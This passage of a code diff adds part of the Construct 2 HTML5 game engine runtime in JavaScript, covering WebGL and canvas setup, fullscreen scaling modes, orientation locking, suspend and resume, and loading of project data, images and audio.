+ var isWebGL2 = (this.gl.getParameter(this.gl.VERSION).indexOf("WebGL 2") === 0);
+ var debug_ext = this.gl.getExtension("WEBGL_debug_renderer_info");
+ if (debug_ext)
+ {
+ var unmasked_vendor = this.gl.getParameter(debug_ext.UNMASKED_VENDOR_WEBGL);
+ var unmasked_renderer = this.gl.getParameter(debug_ext.UNMASKED_RENDERER_WEBGL);
+ this.glUnmaskedRenderer = unmasked_renderer + " [" + unmasked_vendor + "]";
+ }
+ if (this.enableFrontToBack)
+ this.glUnmaskedRenderer += " [front-to-back enabled]";
+;
+ if (!this.isDomFree)
+ {
+ this.overlay_canvas = document.createElement("canvas");
+ jQuery(this.overlay_canvas).appendTo(this.canvas.parentNode);
+ this.overlay_canvas.oncontextmenu = function (e) { return false; };
+ this.overlay_canvas.onselectstart = function (e) { return false; };
+ this.overlay_canvas.width = Math.round(this.cssWidth * this.devicePixelRatio);
+ this.overlay_canvas.height = Math.round(this.cssHeight * this.devicePixelRatio);
+ jQuery(this.overlay_canvas).css({"width": this.cssWidth + "px",
+ "height": this.cssHeight + "px"});
+ this.positionOverlayCanvas();
+ this.overlay_ctx = this.overlay_canvas.getContext("2d");
+ }
+ this.glwrap = new cr.GLWrap(this.gl, this.isMobile, this.enableFrontToBack);
+ this.glwrap.setSize(this.canvas.width, this.canvas.height);
+ this.glwrap.enable_mipmaps = (this.downscalingQuality !== 0);
+ this.ctx = null;
+ for (i = 0, len = this.types_by_index.length; i < len; i++)
+ {
+ t = this.types_by_index[i];
+ for (j = 0, lenj = t.effect_types.length; j < lenj; j++)
+ {
+ s = t.effect_types[j];
+ s.shaderindex = this.glwrap.getShaderIndex(s.id);
+ s.preservesOpaqueness = this.glwrap.programPreservesOpaqueness(s.shaderindex);
+ this.uses_background_blending = this.uses_background_blending || this.glwrap.programUsesDest(s.shaderindex);
+ }
+ }
+ for (i = 0, len = this.layouts_by_index.length; i < len; i++)
+ {
+ l = this.layouts_by_index[i];
+ for (j = 0, lenj = l.effect_types.length; j < lenj; j++)
+ {
+ s = l.effect_types[j];
+ s.shaderindex = this.glwrap.getShaderIndex(s.id);
+ s.preservesOpaqueness = this.glwrap.programPreservesOpaqueness(s.shaderindex);
+ }
+ l.updateActiveEffects(); // update preserves opaqueness flag
+ for (j = 0, lenj = l.layers.length; j < lenj; j++)
+ {
+ y = l.layers[j];
+ for (k = 0, lenk = y.effect_types.length; k < lenk; k++)
+ {
+ s = y.effect_types[k];
+ s.shaderindex = this.glwrap.getShaderIndex(s.id);
+ s.preservesOpaqueness = this.glwrap.programPreservesOpaqueness(s.shaderindex);
+ this.uses_background_blending = this.uses_background_blending || this.glwrap.programUsesDest(s.shaderindex);
+ }
+ y.updateActiveEffects(); // update preserves opaqueness flag
+ }
+ }
+ }
+ else
+ {
+ if (this.fullscreen_mode > 0 && this.isDirectCanvas)
+ {
+;
+ this.canvas = null;
+ document.oncontextmenu = function (e) { return false; };
+ document.onselectstart = function (e) { return false; };
+ this.ctx = AppMobi["canvas"]["getContext"]("2d");
+ try {
+ this.ctx["samplingMode"] = this.linearSampling ? "smooth" : "sharp";
+ this.ctx["globalScale"] = 1;
+ this.ctx["HTML5CompatibilityMode"] = true;
+ this.ctx["imageSmoothingEnabled"] = this.linearSampling;
+ } catch(e){}
+ if (this.width !== 0 && this.height !== 0)
+ {
+ this.ctx.width = this.width;
+ this.ctx.height = this.height;
+ }
+ }
+ if (!this.ctx)
+ {
+;
+ if (this.isCocoonJs)
+ {
+ attribs = {
+ "antialias": !!this.linearSampling,
+ "alpha": true
+ };
+ this.ctx = this.canvas.getContext("2d", attribs);
+ }
+ else
+ {
+ attribs = {
+ "alpha": true
+ };
+ this.ctx = this.canvas.getContext("2d", attribs);
+ }
+ this.setCtxImageSmoothingEnabled(this.ctx, this.linearSampling);
+ }
+ this.overlay_canvas = null;
+ this.overlay_ctx = null;
+ }
+ this.tickFunc = function (timestamp) { self.tick(false, timestamp); };
+ if (window != window.top && !this.isDomFree && !this.isWinJS && !this.isWindowsPhone8)
+ {
+ document.addEventListener("mousedown", function () {
+ window.focus();
+ }, true);
+ document.addEventListener("touchstart", function () {
+ window.focus();
+ }, true);
+ }
+ if (typeof cr_is_preview !== "undefined")
+ {
+ if (this.isCocoonJs)
+ console.log("[Construct 2] In preview-over-wifi via CocoonJS mode");
+ if (window.location.search.indexOf("continuous") > -1)
+ {
+ cr.logexport("Reloading for continuous preview");
+ this.loadFromSlot = "__c2_continuouspreview";
+ this.suspendDrawing = true;
+ }
+ if (this.pauseOnBlur && !this.isMobile)
+ {
+ jQuery(window).focus(function ()
+ {
+ self["setSuspended"](false);
+ });
+ jQuery(window).blur(function ()
+ {
+ var parent = window.parent;
+ if (!parent || !parent.document.hasFocus())
+ self["setSuspended"](true);
+ });
+ }
+ }
+ window.addEventListener("blur", function () {
+ self.onWindowBlur();
+ });
+ if (!this.isDomFree)
+ {
+ var unfocusFormControlFunc = function (e) {
+ if (cr.isCanvasInputEvent(e) && document["activeElement"] && document["activeElement"] !== document.getElementsByTagName("body")[0] && document["activeElement"].blur)
+ {
+ try {
+ document["activeElement"].blur();
+ }
+ catch (e) {}
+ }
+ }
+ if (typeof PointerEvent !== "undefined")
+ {
+ document.addEventListener("pointerdown", unfocusFormControlFunc);
+ }
+ else if (window.navigator["msPointerEnabled"])
+ {
+ document.addEventListener("MSPointerDown", unfocusFormControlFunc);
+ }
+ else
+ {
+ document.addEventListener("touchstart", unfocusFormControlFunc);
+ }
+ document.addEventListener("mousedown", unfocusFormControlFunc);
+ }
+ if (this.fullscreen_mode === 0 && this.isRetina && this.devicePixelRatio > 1)
+ {
+ this["setSize"](this.original_width, this.original_height, true);
+ }
+ this.tryLockOrientation();
+ this.getready(); // determine things to preload
+ this.go(); // run loading screen
+ this.extra = {};
+ cr.seal(this);
+ };
+ var webkitRepaintFlag = false;
+ Runtime.prototype["setSize"] = function (w, h, force)
+ {
+ var offx = 0, offy = 0;
+ var neww = 0, newh = 0, intscale = 0;
+ if (this.lastWindowWidth === w && this.lastWindowHeight === h && !force)
+ return;
+ this.lastWindowWidth = w;
+ this.lastWindowHeight = h;
+ var mode = this.fullscreen_mode;
+ var orig_aspect, cur_aspect;
+ var isfullscreen = (document["mozFullScreen"] || document["webkitIsFullScreen"] || !!document["msFullscreenElement"] || document["fullScreen"] || this.isNodeFullscreen) && !this.isCordova;
+ if (!isfullscreen && this.fullscreen_mode === 0 && !force)
+ return; // ignore size events when not fullscreen and not using a fullscreen-in-browser mode
+ if (isfullscreen)
+ mode = this.fullscreen_scaling;
+ var dpr = this.devicePixelRatio;
+ if (mode >= 4)
+ {
+ if (mode === 5 && dpr !== 1) // integer scaling
+ {
+ w += 1;
+ h += 1;
+ }
+ orig_aspect = this.original_width / this.original_height;
+ cur_aspect = w / h;
+ if (cur_aspect > orig_aspect)
+ {
+ neww = h * orig_aspect;
+ if (mode === 5) // integer scaling
+ {
+ intscale = (neww * dpr) / this.original_width;
+ if (intscale > 1)
+ intscale = Math.floor(intscale);
+ else if (intscale < 1)
+ intscale = 1 / Math.ceil(1 / intscale);
+ neww = this.original_width * intscale / dpr;
+ newh = this.original_height * intscale / dpr;
+ offx = (w - neww) / 2;
+ offy = (h - newh) / 2;
+ w = neww;
+ h = newh;
+ }
+ else
+ {
+ offx = (w - neww) / 2;
+ w = neww;
+ }
+ }
+ else
+ {
+ newh = w / orig_aspect;
+ if (mode === 5) // integer scaling
+ {
+ intscale = (newh * dpr) / this.original_height;
+ if (intscale > 1)
+ intscale = Math.floor(intscale);
+ else if (intscale < 1)
+ intscale = 1 / Math.ceil(1 / intscale);
+ neww = this.original_width * intscale / dpr;
+ newh = this.original_height * intscale / dpr;
+ offx = (w - neww) / 2;
+ offy = (h - newh) / 2;
+ w = neww;
+ h = newh;
+ }
+ else
+ {
+ offy = (h - newh) / 2;
+ h = newh;
+ }
+ }
+ }
+ else if (isfullscreen && mode === 0)
+ {
+ offx = Math.floor((w - this.original_width) / 2);
+ offy = Math.floor((h - this.original_height) / 2);
+ w = this.original_width;
+ h = this.original_height;
+ }
+ if (mode < 2)
+ this.aspect_scale = dpr;
+ this.cssWidth = Math.round(w);
+ this.cssHeight = Math.round(h);
+ this.width = Math.round(w * dpr);
+ this.height = Math.round(h * dpr);
+ this.redraw = true;
+ if (this.wantFullscreenScalingQuality)
+ {
+ this.draw_width = this.width;
+ this.draw_height = this.height;
+ this.fullscreenScalingQuality = true;
+ }
+ else
+ {
+ if ((this.width < this.original_width && this.height < this.original_height) || mode === 1)
+ {
+ this.draw_width = this.width;
+ this.draw_height = this.height;
+ this.fullscreenScalingQuality = true;
+ }
+ else
+ {
+ this.draw_width = this.original_width;
+ this.draw_height = this.original_height;
+ this.fullscreenScalingQuality = false;
+ /*var orig_aspect = this.original_width / this.original_height;
+ var cur_aspect = this.width / this.height;
+ if ((this.fullscreen_mode !== 2 && cur_aspect > orig_aspect) || (this.fullscreen_mode === 2 && cur_aspect < orig_aspect))
+ this.aspect_scale = this.height / this.original_height;
+ else
+ this.aspect_scale = this.width / this.original_width;*/
+ if (mode === 2) // scale inner
+ {
+ orig_aspect = this.original_width / this.original_height;
+ cur_aspect = this.lastWindowWidth / this.lastWindowHeight;
+ if (cur_aspect < orig_aspect)
+ this.draw_width = this.draw_height * cur_aspect;
+ else if (cur_aspect > orig_aspect)
+ this.draw_height = this.draw_width / cur_aspect;
+ }
+ else if (mode === 3)
+ {
+ orig_aspect = this.original_width / this.original_height;
+ cur_aspect = this.lastWindowWidth / this.lastWindowHeight;
+ if (cur_aspect > orig_aspect)
+ this.draw_width = this.draw_height * cur_aspect;
+ else if (cur_aspect < orig_aspect)
+ this.draw_height = this.draw_width / cur_aspect;
+ }
+ }
+ }
+ if (this.canvasdiv && !this.isDomFree)
+ {
+ jQuery(this.canvasdiv).css({"width": Math.round(w) + "px",
+ "height": Math.round(h) + "px",
+ "margin-left": Math.floor(offx) + "px",
+ "margin-top": Math.floor(offy) + "px"});
+ if (typeof cr_is_preview !== "undefined")
+ {
+ jQuery("#borderwrap").css({"width": Math.round(w) + "px",
+ "height": Math.round(h) + "px"});
+ }
+ }
+ if (this.canvas)
+ {
+ this.canvas.width = Math.round(w * dpr);
+ this.canvas.height = Math.round(h * dpr);
+ if (this.isEjecta)
+ {
+ this.canvas.style.left = Math.floor(offx) + "px";
+ this.canvas.style.top = Math.floor(offy) + "px";
+ this.canvas.style.width = Math.round(w) + "px";
+ this.canvas.style.height = Math.round(h) + "px";
+ }
+ else if (this.isRetina && !this.isDomFree)
+ {
+ this.canvas.style.width = Math.round(w) + "px";
+ this.canvas.style.height = Math.round(h) + "px";
+ }
+ }
+ if (this.overlay_canvas)
+ {
+ this.overlay_canvas.width = Math.round(w * dpr);
+ this.overlay_canvas.height = Math.round(h * dpr);
+ this.overlay_canvas.style.width = this.cssWidth + "px";
+ this.overlay_canvas.style.height = this.cssHeight + "px";
+ }
+ if (this.glwrap)
+ {
+ this.glwrap.setSize(Math.round(w * dpr), Math.round(h * dpr));
+ }
+ if (this.isDirectCanvas && this.ctx)
+ {
+ this.ctx.width = Math.round(w);
+ this.ctx.height = Math.round(h);
+ }
+ if (this.ctx)
+ {
+ this.setCtxImageSmoothingEnabled(this.ctx, this.linearSampling);
+ }
+ this.tryLockOrientation();
+ if (this.isiPhone && !this.isCordova)
+ {
+ window.scrollTo(0, 0);
+ }
+ };
+ Runtime.prototype.tryLockOrientation = function ()
+ {
+ if (!this.autoLockOrientation || this.orientations === 0)
+ return;
+ var orientation = "portrait";
+ if (this.orientations === 2)
+ orientation = "landscape";
+ try {
+ if (screen["orientation"] && screen["orientation"]["lock"])
+ screen["orientation"]["lock"](orientation).catch(function(){});
+ else if (screen["lockOrientation"])
+ screen["lockOrientation"](orientation);
+ else if (screen["webkitLockOrientation"])
+ screen["webkitLockOrientation"](orientation);
+ else if (screen["mozLockOrientation"])
+ screen["mozLockOrientation"](orientation);
+ else if (screen["msLockOrientation"])
+ screen["msLockOrientation"](orientation);
+ }
+ catch (e)
+ {
+ if (console && console.warn)
+ console.warn("Failed to lock orientation: ", e);
+ }
+ };
+ Runtime.prototype.onContextLost = function ()
+ {
+ this.glwrap.contextLost();
+ this.is_WebGL_context_lost = true;
+ var i, len, t;
+ for (i = 0, len = this.types_by_index.length; i < len; i++)
+ {
+ t = this.types_by_index[i];
+ if (t.onLostWebGLContext)
+ t.onLostWebGLContext();
+ }
+ };
+ Runtime.prototype.onContextRestored = function ()
+ {
+ this.is_WebGL_context_lost = false;
+ var i, len, t;
+ for (i = 0, len = this.types_by_index.length; i < len; i++)
+ {
+ t = this.types_by_index[i];
+ if (t.onRestoreWebGLContext)
+ t.onRestoreWebGLContext();
+ }
+ };
+ Runtime.prototype.positionOverlayCanvas = function()
+ {
+ if (this.isDomFree)
+ return;
+ var isfullscreen = (document["mozFullScreen"] || document["webkitIsFullScreen"] || document["fullScreen"] || !!document["msFullscreenElement"] || this.isNodeFullscreen) && !this.isCordova;
+ var overlay_position = isfullscreen ? jQuery(this.canvas).offset() : jQuery(this.canvas).position();
+ overlay_position.position = "absolute";
+ jQuery(this.overlay_canvas).css(overlay_position);
+ };
+ var caf = window["cancelAnimationFrame"] ||
+ window["mozCancelAnimationFrame"] ||
+ window["webkitCancelAnimationFrame"] ||
+ window["msCancelAnimationFrame"] ||
+ window["oCancelAnimationFrame"];
+ Runtime.prototype["setSuspended"] = function (s)
+ {
+ var i, len;
+ var self = this;
+ if (s && !this.isSuspended)
+ {
+ cr.logexport("[Construct 2] Suspending");
+ this.isSuspended = true; // next tick will be last
+ if (this.raf_id !== -1 && caf) // note: CocoonJS does not implement cancelAnimationFrame
+ caf(this.raf_id);
+ if (this.timeout_id !== -1)
+ clearTimeout(this.timeout_id);
+ for (i = 0, len = this.suspend_events.length; i < len; i++)
+ this.suspend_events[i](true);
+ }
+ else if (!s && this.isSuspended)
+ {
+ cr.logexport("[Construct 2] Resuming");
+ this.isSuspended = false;
+ this.last_tick_time = cr.performance_now(); // ensure first tick is a zero-dt one
+ this.last_fps_time = cr.performance_now(); // reset FPS counter
+ this.framecount = 0;
+ this.logictime = 0;
+ for (i = 0, len = this.suspend_events.length; i < len; i++)
+ this.suspend_events[i](false);
+ this.tick(false); // kick off runtime again
+ }
+ };
+ Runtime.prototype.addSuspendCallback = function (f)
+ {
+ this.suspend_events.push(f);
+ };
+ Runtime.prototype.GetObjectReference = function (i)
+ {
+;
+ return this.objectRefTable[i];
+ };
+ Runtime.prototype.loadProject = function (data_response)
+ {
+;
+ if (!data_response || !data_response["project"])
+ cr.logerror("Project model unavailable");
+ var pm = data_response["project"];
+ this.name = pm[0];
+ this.first_layout = pm[1];
+ this.fullscreen_mode = pm[12]; // 0 = off, 1 = crop, 2 = scale inner, 3 = scale outer, 4 = letterbox scale, 5 = integer letterbox scale
+ this.fullscreen_mode_set = pm[12];
+ this.original_width = pm[10];
+ this.original_height = pm[11];
+ this.parallax_x_origin = this.original_width / 2;
+ this.parallax_y_origin = this.original_height / 2;
+ if (this.isDomFree && !this.isEjecta && (pm[12] >= 4 || pm[12] === 0))
+ {
+ cr.logexport("[Construct 2] Letterbox scale fullscreen modes are not supported on this platform - falling back to 'Scale outer'");
+ this.fullscreen_mode = 3;
+ this.fullscreen_mode_set = 3;
+ }
+ this.uses_loader_layout = pm[18];
+ this.loaderstyle = pm[19];
+ if (this.loaderstyle === 0)
+ {
+ var loaderImage = new Image();
+ loaderImage.crossOrigin = "anonymous";
+ this.setImageSrc(loaderImage, "loading-logo.png");
+ this.loaderlogos = {
+ logo: loaderImage
+ };
+ }
+ else if (this.loaderstyle === 4) // c2 splash
+ {
+ var loaderC2logo_1024 = new Image();
+ loaderC2logo_1024.src = "";
+ var loaderC2logo_512 = new Image();
+ loaderC2logo_512.src = "";
+ var loaderC2logo_256 = new Image();
+ loaderC2logo_256.src = "";
+ var loaderC2logo_128 = new Image();
+ loaderC2logo_128.src = "";
+ var loaderPowered_1024 = new Image();
+ loaderPowered_1024.src = "";
+ var loaderPowered_512 = new Image();
+ loaderPowered_512.src = "";
+ var loaderPowered_256 = new Image();
+ loaderPowered_256.src = "";
+ var loaderPowered_128 = new Image();
+ loaderPowered_128.src = "";
+ var loaderWebsite_1024 = new Image();
+ loaderWebsite_1024.src = "";
+ var loaderWebsite_512 = new Image();
+ loaderWebsite_512.src = "";
+ var loaderWebsite_256 = new Image();
+ loaderWebsite_256.src = "";
+ var loaderWebsite_128 = new Image();
+ loaderWebsite_128.src = "";
+ this.loaderlogos = {
+ logo: [loaderC2logo_1024, loaderC2logo_512, loaderC2logo_256, loaderC2logo_128],
+ powered: [loaderPowered_1024, loaderPowered_512, loaderPowered_256, loaderPowered_128],
+ website: [loaderWebsite_1024, loaderWebsite_512, loaderWebsite_256, loaderWebsite_128]
+ };
+ }
+ this.next_uid = pm[21];
+ this.objectRefTable = cr.getObjectRefTable();
+ this.system = new cr.system_object(this);
+ var i, len, j, lenj, k, lenk, idstr, m, b, t, f, p;
+ var plugin, plugin_ctor;
+ for (i = 0, len = pm[2].length; i < len; i++)
+ {
+ m = pm[2][i];
+ p = this.GetObjectReference(m[0]);
+;
+ cr.add_common_aces(m, p.prototype);
+ plugin = new p(this);
+ plugin.singleglobal = m[1];
+ plugin.is_world = m[2];
+ plugin.is_rotatable = m[5];
+ plugin.must_predraw = m[9];
+ if (plugin.onCreate)
+ plugin.onCreate(); // opportunity to override default ACEs
+ cr.seal(plugin);
+ this.plugins.push(plugin);
+ }
+ this.objectRefTable = cr.getObjectRefTable();
+ for (i = 0, len = pm[3].length; i < len; i++)
+ {
+ m = pm[3][i];
+ plugin_ctor = this.GetObjectReference(m[1]);
+;
+ plugin = null;
+ for (j = 0, lenj = this.plugins.length; j < lenj; j++)
+ {
+ if (this.plugins[j] instanceof plugin_ctor)
+ {
+ plugin = this.plugins[j];
+ break;
+ }
+ }
+;
+;
+ var type_inst = new plugin.Type(plugin);
+;
+ type_inst.name = m[0];
+ type_inst.is_family = m[2];
+ type_inst.instvar_sids = m[3].slice(0);
+ type_inst.vars_count = m[3].length;
+ type_inst.behs_count = m[4];
+ type_inst.fx_count = m[5];
+ type_inst.sid = m[11];
+ if (type_inst.is_family)
+ {
+ type_inst.members = []; // types in this family
+ type_inst.family_index = this.family_count++;
+ type_inst.families = null;
+ }
+ else
+ {
+ type_inst.members = null;
+ type_inst.family_index = -1;
+ type_inst.families = []; // families this type belongs to
+ }
+ type_inst.family_var_map = null;
+ type_inst.family_beh_map = null;
+ type_inst.family_fx_map = null;
+ type_inst.is_contained = false;
+ type_inst.container = null;
+ if (m[6])
+ {
+ type_inst.texture_file = m[6][0];
+ type_inst.texture_filesize = m[6][1];
+ type_inst.texture_pixelformat = m[6][2];
+ }
+ else
+ {
+ type_inst.texture_file = null;
+ type_inst.texture_filesize = 0;
+ type_inst.texture_pixelformat = 0; // rgba8
+ }
+ if (m[7])
+ {
+ type_inst.animations = m[7];
+ }
+ else
+ {
+ type_inst.animations = null;
+ }
+ type_inst.index = i; // save index in to types array in type
+ type_inst.instances = []; // all instances of this type
+ type_inst.deadCache = []; // destroyed instances to recycle next create
+ type_inst.solstack = [new cr.selection(type_inst)]; // initialise SOL stack with one empty SOL
+ type_inst.cur_sol = 0;
+ type_inst.default_instance = null;
+ type_inst.default_layerindex = 0;
+ type_inst.stale_iids = true;
+ type_inst.updateIIDs = cr.type_updateIIDs;
+ type_inst.getFirstPicked = cr.type_getFirstPicked;
+ type_inst.getPairedInstance = cr.type_getPairedInstance;
+ type_inst.getCurrentSol = cr.type_getCurrentSol;
+ type_inst.pushCleanSol = cr.type_pushCleanSol;
+ type_inst.pushCopySol = cr.type_pushCopySol;
+ type_inst.popSol = cr.type_popSol;
+ type_inst.getBehaviorByName = cr.type_getBehaviorByName;
+ type_inst.getBehaviorIndexByName = cr.type_getBehaviorIndexByName;
+ type_inst.getEffectIndexByName = cr.type_getEffectIndexByName;
+ type_inst.applySolToContainer = cr.type_applySolToContainer;
+ type_inst.getInstanceByIID = cr.type_getInstanceByIID;
+ type_inst.collision_grid = new cr.SparseGrid(this.original_width, this.original_height);
+ type_inst.any_cell_changed = true;
+ type_inst.any_instance_parallaxed = false;
+ type_inst.extra = {};
+ type_inst.toString = cr.type_toString;
+ type_inst.behaviors = [];
+ for (j = 0, lenj = m[8].length; j < lenj; j++)
+ {
+ b = m[8][j];
+ var behavior_ctor = this.GetObjectReference(b[1]);
+ var behavior_plugin = null;
+ for (k = 0, lenk = this.behaviors.length; k < lenk; k++)
+ {
+ if (this.behaviors[k] instanceof behavior_ctor)
+ {
+ behavior_plugin = this.behaviors[k];
+ break;
+ }
+ }
+ if (!behavior_plugin)
+ {
+ behavior_plugin = new behavior_ctor(this);
+ behavior_plugin.my_types = []; // types using this behavior
+ behavior_plugin.my_instances = new cr.ObjectSet(); // instances of this behavior
+ if (behavior_plugin.onCreate)
+ behavior_plugin.onCreate();
+ cr.seal(behavior_plugin);
+ this.behaviors.push(behavior_plugin);
+ if (cr.behaviors.solid && behavior_plugin instanceof cr.behaviors.solid)
+ this.solidBehavior = behavior_plugin;
+ if (cr.behaviors.jumpthru && behavior_plugin instanceof cr.behaviors.jumpthru)
+ this.jumpthruBehavior = behavior_plugin;
+ if (cr.behaviors.shadowcaster && behavior_plugin instanceof cr.behaviors.shadowcaster)
+ this.shadowcasterBehavior = behavior_plugin;
+ }
+ if (behavior_plugin.my_types.indexOf(type_inst) === -1)
+ behavior_plugin.my_types.push(type_inst);
+ var behavior_type = new behavior_plugin.Type(behavior_plugin, type_inst);
+ behavior_type.name = b[0];
+ behavior_type.sid = b[2];
+ behavior_type.onCreate();
+ cr.seal(behavior_type);
+ type_inst.behaviors.push(behavior_type);
+ }
+ type_inst.global = m[9];
+ type_inst.isOnLoaderLayout = m[10];
+ type_inst.effect_types = [];
+ for (j = 0, lenj = m[12].length; j < lenj; j++)
+ {
+ type_inst.effect_types.push({
+ id: m[12][j][0],
+ name: m[12][j][1],
+ shaderindex: -1,
+ preservesOpaqueness: false,
+ active: true,
+ index: j
+ });
+ }
+ type_inst.tile_poly_data = m[13];
+ if (!this.uses_loader_layout || type_inst.is_family || type_inst.isOnLoaderLayout || !plugin.is_world)
+ {
+ type_inst.onCreate();
+ cr.seal(type_inst);
+ }
+ if (type_inst.name)
+ this.types[type_inst.name] = type_inst;
+ this.types_by_index.push(type_inst);
+ if (plugin.singleglobal)
+ {
+ var instance = new plugin.Instance(type_inst);
+ instance.uid = this.next_uid++;
+ instance.puid = this.next_puid++;
+ instance.iid = 0;
+ instance.get_iid = cr.inst_get_iid;
+ instance.toString = cr.inst_toString;
+ instance.properties = m[14];
+ instance.onCreate();
+ cr.seal(instance);
+ type_inst.instances.push(instance);
+ this.objectsByUid[instance.uid.toString()] = instance;
+ }
+ }
+ for (i = 0, len = pm[4].length; i < len; i++)
+ {
+ var familydata = pm[4][i];
+ var familytype = this.types_by_index[familydata[0]];
+ var familymember;
+ for (j = 1, lenj = familydata.length; j < lenj; j++)
+ {
+ familymember = this.types_by_index[familydata[j]];
+ familymember.families.push(familytype);
+ familytype.members.push(familymember);
+ }
+ }
+ for (i = 0, len = pm[28].length; i < len; i++)
+ {
+ var containerdata = pm[28][i];
+ var containertypes = [];
+ for (j = 0, lenj = containerdata.length; j < lenj; j++)
+ containertypes.push(this.types_by_index[containerdata[j]]);
+ for (j = 0, lenj = containertypes.length; j < lenj; j++)
+ {
+ containertypes[j].is_contained = true;
+ containertypes[j].container = containertypes;
+ }
+ }
+ if (this.family_count > 0)
+ {
+ for (i = 0, len = this.types_by_index.length; i < len; i++)
+ {
+ t = this.types_by_index[i];
+ if (t.is_family || !t.families.length)
+ continue;
+ t.family_var_map = new Array(this.family_count);
+ t.family_beh_map = new Array(this.family_count);
+ t.family_fx_map = new Array(this.family_count);
+ var all_fx = [];
+ var varsum = 0;
+ var behsum = 0;
+ var fxsum = 0;
+ for (j = 0, lenj = t.families.length; j < lenj; j++)
+ {
+ f = t.families[j];
+ t.family_var_map[f.family_index] = varsum;
+ varsum += f.vars_count;
+ t.family_beh_map[f.family_index] = behsum;
+ behsum += f.behs_count;
+ t.family_fx_map[f.family_index] = fxsum;
+ fxsum += f.fx_count;
+ for (k = 0, lenk = f.effect_types.length; k < lenk; k++)
+ all_fx.push(cr.shallowCopy({}, f.effect_types[k]));
+ }
+ t.effect_types = all_fx.concat(t.effect_types);
+ for (j = 0, lenj = t.effect_types.length; j < lenj; j++)
+ t.effect_types[j].index = j;
+ }
+ }
+ for (i = 0, len = pm[5].length; i < len; i++)
+ {
+ m = pm[5][i];
+ var layout = new cr.layout(this, m);
+ cr.seal(layout);
+ this.layouts[layout.name] = layout;
+ this.layouts_by_index.push(layout);
+ }
+ for (i = 0, len = pm[6].length; i < len; i++)
+ {
+ m = pm[6][i];
+ var sheet = new cr.eventsheet(this, m);
+ cr.seal(sheet);
+ this.eventsheets[sheet.name] = sheet;
+ this.eventsheets_by_index.push(sheet);
+ }
+ for (i = 0, len = this.eventsheets_by_index.length; i < len; i++)
+ this.eventsheets_by_index[i].postInit();
+ for (i = 0, len = this.eventsheets_by_index.length; i < len; i++)
+ this.eventsheets_by_index[i].updateDeepIncludes();
+ for (i = 0, len = this.triggers_to_postinit.length; i < len; i++)
+ this.triggers_to_postinit[i].postInit();
+ cr.clearArray(this.triggers_to_postinit)
+ this.audio_to_preload = pm[7];
+ this.files_subfolder = pm[8];
+ this.pixel_rounding = pm[9];
+ this.aspect_scale = 1.0;
+ this.enableWebGL = pm[13];
+ this.linearSampling = pm[14];
+ this.clearBackground = pm[15];
+ this.versionstr = pm[16];
+ this.useHighDpi = pm[17];
+ this.orientations = pm[20]; // 0 = any, 1 = portrait, 2 = landscape
+ this.autoLockOrientation = (this.orientations > 0);
+ this.pauseOnBlur = pm[22];
+ this.wantFullscreenScalingQuality = pm[23]; // false = low quality, true = high quality
+ this.fullscreenScalingQuality = this.wantFullscreenScalingQuality;
+ this.downscalingQuality = pm[24]; // 0 = low (mips off), 1 = medium (mips on, dense spritesheet), 2 = high (mips on, sparse spritesheet)
+ this.preloadSounds = pm[25]; // 0 = no, 1 = yes
+ this.projectName = pm[26];
+ this.enableFrontToBack = pm[27] && !this.isIE; // front-to-back renderer disabled in IE (but not Edge)
+ this.start_time = Date.now();
+ cr.clearArray(this.objectRefTable);
+ this.initRendererAndLoader();
+ };
+ var anyImageHadError = false;
+ var MAX_PARALLEL_IMAGE_LOADS = 100;
+ var currentlyActiveImageLoads = 0;
+ var imageLoadQueue = []; // array of [img, srcToSet]
+ Runtime.prototype.queueImageLoad = function (img_, src_)
+ {
+ var self = this;
+ var doneFunc = function ()
+ {
+ currentlyActiveImageLoads--;
+ self.maybeLoadNextImages();
+ };
+ img_.addEventListener("load", doneFunc);
+ img_.addEventListener("error", doneFunc);
+ imageLoadQueue.push([img_, src_]);
+ this.maybeLoadNextImages();
+ };
+ Runtime.prototype.maybeLoadNextImages = function ()
+ {
+ var next;
+ while (imageLoadQueue.length && currentlyActiveImageLoads < MAX_PARALLEL_IMAGE_LOADS)
+ {
+ currentlyActiveImageLoads++;
+ next = imageLoadQueue.shift();
+ this.setImageSrc(next[0], next[1]);
+ }
+ };
+ Runtime.prototype.waitForImageLoad = function (img_, src_)
+ {
+ img_["cocoonLazyLoad"] = true;
+ img_.onerror = function (e)
+ {
+ img_.c2error = true;
+ anyImageHadError = true;
+ if (console && console.error)
+ console.error("Error loading image '" + img_.src + "': ", e);
+ };
+ if (this.isEjecta)
+ {
+ img_.src = src_;
+ }
+ else if (!img_.src)
+ {
+ if (typeof XAPKReader !== "undefined")
+ {
+ XAPKReader.get(src_, function (expanded_url)
+ {
+ img_.src = expanded_url;
+ }, function (e)
+ {
+ img_.c2error = true;
+ anyImageHadError = true;
+ if (console && console.error)
+ console.error("Error extracting image '" + src_ + "' from expansion file: ", e);
+ });
+ }
+ else
+ {
+ img_.crossOrigin = "anonymous"; // required for Arcade sandbox compatibility
+ this.queueImageLoad(img_, src_); // use a queue to avoid requesting all images simultaneously
+ }
+ }
+ this.wait_for_textures.push(img_);
+ };
+ Runtime.prototype.findWaitingTexture = function (src_)
+ {
+ var i, len;
+ for (i = 0, len = this.wait_for_textures.length; i < len; i++)
+ {
+ if (this.wait_for_textures[i].cr_src === src_)
+ return this.wait_for_textures[i];
+ }
+ return null;
+ };
+ var audio_preload_totalsize = 0;
+ var audio_preload_started = false;
+ Runtime.prototype.getready = function ()
+ {
+ if (!this.audioInstance)
+ return;
+ audio_preload_totalsize = this.audioInstance.setPreloadList(this.audio_to_preload);
+ };
+ Runtime.prototype.areAllTexturesAndSoundsLoaded = function ()
+ {
+ var totalsize = audio_preload_totalsize;
+ var completedsize = 0;
+ var audiocompletedsize = 0;
+ var ret = true;
+ var i, len, img;
+ for (i = 0, len = this.wait_for_textures.length; i < len; i++)
+ {
+ img = this.wait_for_textures[i];
+ var filesize = img.cr_filesize;
+ if (!filesize || filesize <= 0)
+ filesize = 50000;
+ totalsize += filesize;
+ if (!!img.src && (img.complete || img["loaded"]) && !img.c2error)
+ completedsize += filesize;
+ else
+ ret = false; // not all textures loaded
+ }
+ if (ret && this.preloadSounds && this.audioInstance)
+ {
+ if (!audio_preload_started)
+ {
+ this.audioInstance.startPreloads();
+ audio_preload_started = true;
+ }
+ audiocompletedsize = this.audioInstance.getPreloadedSize();
+ completedsize += audiocompletedsize;
+ if (audiocompletedsize < audio_preload_totalsize)
+ ret = false; // not done yet
+ }
+ if (totalsize == 0)
+ this.progress = 1; // indicate to C2 splash loader that it can finish now
+ else
+ this.progress = (completedsize / totalsize);
+ return ret;
+ };
+ var isC2SplashDone = false;
